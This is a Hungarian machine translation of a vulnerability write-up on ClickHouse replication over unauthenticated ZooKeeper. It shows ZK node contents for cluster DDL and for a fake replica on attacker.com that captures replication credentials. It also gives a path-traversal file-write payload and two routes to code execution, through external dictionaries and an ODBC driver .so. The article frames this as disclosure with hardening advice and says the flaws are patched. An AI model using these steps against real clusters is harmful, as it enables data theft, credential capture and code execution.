Miért kell zárva tartani az állatkerti ketreceket?

Miért kell zárva tartani az állatkerti ketreceket?

Ez a cikk a ClickHouse replikációs protokoll egy nagyon sajátos sebezhetőségének történetét mutatja be, és azt is bemutatja, hogyan bővíthető a támadási felület.

A ClickHouse egy adatbázis nagy mennyiségű adat tárolására, leggyakrabban egynél több replikát használva. A ClickHouse fürtözése és replikációja a tetejére épül Apache ZooKeeper (ZK) és írási jogokat igényel.

Az alapértelmezett ZK-telepítés nem igényel hitelesítést, így a Kafka, Hadoop, ClickHouse konfigurálásához használt ZK-szerverek ezrei nyilvánosak.

A támadási felület csökkentése érdekében a ZooKeeper telepítésekor mindig konfigurálja a hitelesítést és az engedélyezést

Természetesen van néhány 0 napos Java deserializáció, de képzeljük el, hogy egy támadó olvasni és írni tud a ZooKeeper-be, amelyet a ClickHouse replikációhoz használnak.

Fürt módban konfigurálva a ClickHouse támogatja az elosztott lekérdezéseket DDL, áthaladva a ZK-n - számukra csomópontok jönnek létre a lapon /clickhouse/task_queue/ddl.

Például létrehoz egy csomópontot /clickhouse/task_queue/ddl/query-0001 tartalommal:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

és ezt követően a teszttábla törlődik a host1 és host2 fürtkiszolgálókon. A DDL támogatja a CREATE/ALTER/DROP lekérdezések futtatását is.

Ijesztően hangzik? De honnan szerezhet szervercímeket a támadó?

ClickHouse replikáció az egyes táblák szintjén működik, így amikor ZK-ban hoznak létre egy táblát, egy szerver kerül meghatározásra, amely a metaadatok replikákkal való cseréjéért lesz felelős. Például egy kérés végrehajtásakor (a ZK-t be kell állítani, chXX - a replika neve, foobar - táblázat neve):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

csomópontok jönnek létre oszlopok и metaadatok.

Tartalom /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Lehetséges adatokat egyesíteni ebből a fürtből? Igen, ha a replikációs port (TCP/9009) a szerveren chXX-address a tűzfal nem záródik be, és a replikáció hitelesítése nem lesz konfigurálva. Hogyan lehet megkerülni a hitelesítést?

A támadó új replikát hozhat létre a ZK-ban a tartalom egyszerű másolásával /clickhouse/tables/01-01/foobar/replicas/chXX és megváltoztatja a jelentését host.

Tartalom /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Ezután közölnie kell a többi replikával, hogy van egy új adatblokk a támadó szerverén, amelyet fel kell venniük – egy csomópont jön létre a ZK-ban. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monoton növekvő számláló, amelynek nagyobbnak kell lennie, mint az eseménynapló utolsó számlálója):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

ahol forrás_replika — a támadó előző lépésben létrehozott replikájának neve, block_id — adatblokk azonosító, kap - "get block" parancs (és itt vannak más műveletek parancsai).

Ezután minden replika beolvas egy új eseményt a naplóban, és a támadó által vezérelt kiszolgálóra megy, hogy fogadjon egy adatblokkot (a replikációs protokoll bináris, a HTTP-n fut). szerver attacker.com kéréseket kap:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

ahol XXX a replikáció hitelesítési adatai. Bizonyos esetekben ez egy olyan fiók lehet, amely hozzáféréssel rendelkezik az adatbázishoz a fő ClickHouse protokollon és a HTTP protokollon keresztül. Mint láthatta, a támadási felület kritikusan nagy lesz, mert a replikációhoz használt ZooKeeper hitelesítés nélkül maradt.

Nézzük meg a replikából egy adatblokk beszerzésének funkcióját, teljes biztonsággal meg van írva, hogy minden replika megfelelő ellenőrzés alatt áll, és bizalom van közöttük.

Miért kell zárva tartani az állatkerti ketreceket?
replikáció feldolgozó kód

A függvény beolvassa a fájlok listáját, majd a nevüket, méretüket, tartalmukat, majd beírja a fájlrendszerbe. Érdemes külön leírni, hogyan tárolódnak az adatok a fájlrendszerben.

Számos alkönyvtár található benne /var/lib/clickhouse (alapértelmezett tárolási könyvtár a konfigurációs fájlból):

zászlók - könyvtár a felvételhez zászlókat, adatvesztés utáni helyreállításhoz használják;
tmp — könyvtár az ideiglenes fájlok tárolására;
user_files — a kérésekben lévő fájlokkal végzett műveletek erre a könyvtárra korlátozódnak (INTO OUTFILE és mások);
metaadatok — sql fájlok táblázatleírásokkal;
preprocessed_configs - származtatott konfigurációs fájlok feldolgozása innen /etc/clickhouse-server;
dátum - a tényleges könyvtár magával az adatokkal, ebben az esetben minden adatbázishoz egyszerűen létrejön egy külön alkönyvtár (pl. /var/lib/clickhouse/data/default).

Minden táblához létrejön egy alkönyvtár az adatbázis-könyvtárban. Minden oszlop külön fájl attól függően motor formátum. Például egy asztalhoz foobartámadó által létrehozott, a következő fájlok jönnek létre:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

A replika elvárja, hogy azonos nevű fájlokat kapjon egy adatblokk feldolgozása során, és semmilyen módon nem érvényesíti azokat.

A figyelmes olvasó valószínűleg már hallott a file_name nem biztonságos összefűzéséről egy függvényben WriteBufferFromFile. Igen, ez lehetővé teszi a támadó számára, hogy tetszőleges tartalmat írjon az FS bármely, felhasználói jogokkal rendelkező fájljába clickhouse. Ehhez a támadó által vezérelt replikának a következő választ kell adnia a kérésre (sortörések kerültek hozzáadásra a könnyebb érthetőség érdekében):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

és összefűzés után ../../../../../../../../../tmp/pwned a fájl meg lesz írva /tmp/pwned tartalommal hellofrom zookeeper.

Számos lehetőség van a fájlírási képesség távoli kódvégrehajtássá (RCE) való átalakítására.

Külső szótárak az RCE-ben

A régebbi verziókban a ClickHouse beállításokkal rendelkező könyvtárat felhasználói jogokkal tárolták clickhouse alapértelmezett. A beállítási fájlok XML-fájlok, amelyeket a szolgáltatás beolvas az indításkor, majd gyorsítótárazza /var/lib/clickhouse/preprocessed_configs. Amikor változások történnek, a rendszer újraolvassa azokat. Ha van hozzáférése /etc/clickhouse-server a támadó létrehozhatja a sajátját külső szótár futtatható típust, majd futtasson tetszőleges kódot. A ClickHouse jelenlegi verziói alapértelmezés szerint nem biztosítanak jogokat, de ha a szervert fokozatosan frissítenék, az ilyen jogok megmaradhatnak. Ha ClickHouse klasztert támogat, ellenőrizze a beállítások könyvtár jogait, annak a felhasználóé kell lennie root.

ODBC az RCE-hez

Egy csomag telepítésekor létrejön egy felhasználó clickhouse, de a saját könyvtára nem jön létre /nonexistent. Külső szótárak használatakor vagy egyéb okokból azonban az adminisztrátorok létrehoznak egy könyvtárat /nonexistent és adja meg a felhasználónak clickhouse hozzáférést írni hozzá (SSZB! kb. fordító).

ClickHouse támogatja ODBC és csatlakozhat más adatbázisokhoz. Az ODBC-ben megadhatja az adatbázis-illesztőprogram-könyvtár elérési útját (.so). A ClickHouse régebbi verziói lehetővé tették ezt közvetlenül a kéréskezelőben, de most a kapcsolati karakterlánc szigorúbb ellenőrzése lett hozzáadva odbc-bridge, így a kérésből már nem lehet megadni az illesztőprogram elérési útját. De írhat-e egy támadó a saját könyvtárba a fent leírt biztonsági réssel?

Hozzunk létre egy fájlt ~/.odbc.ini ilyen tartalommal:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

majd indításkor SELECT * FROM odbc('DSN=lalala', 'test', 'test'); a könyvtár betöltődik test.so és RCE-t kapott (köszönöm buglloc a borravalóért).

Ezeket és más biztonsági réseket a ClickHouse 19.14.3-as verziójában javították. Vigyázzon ClickHouse-jára és ZooKeepereire!

Forrás: will.com

Hozzászólás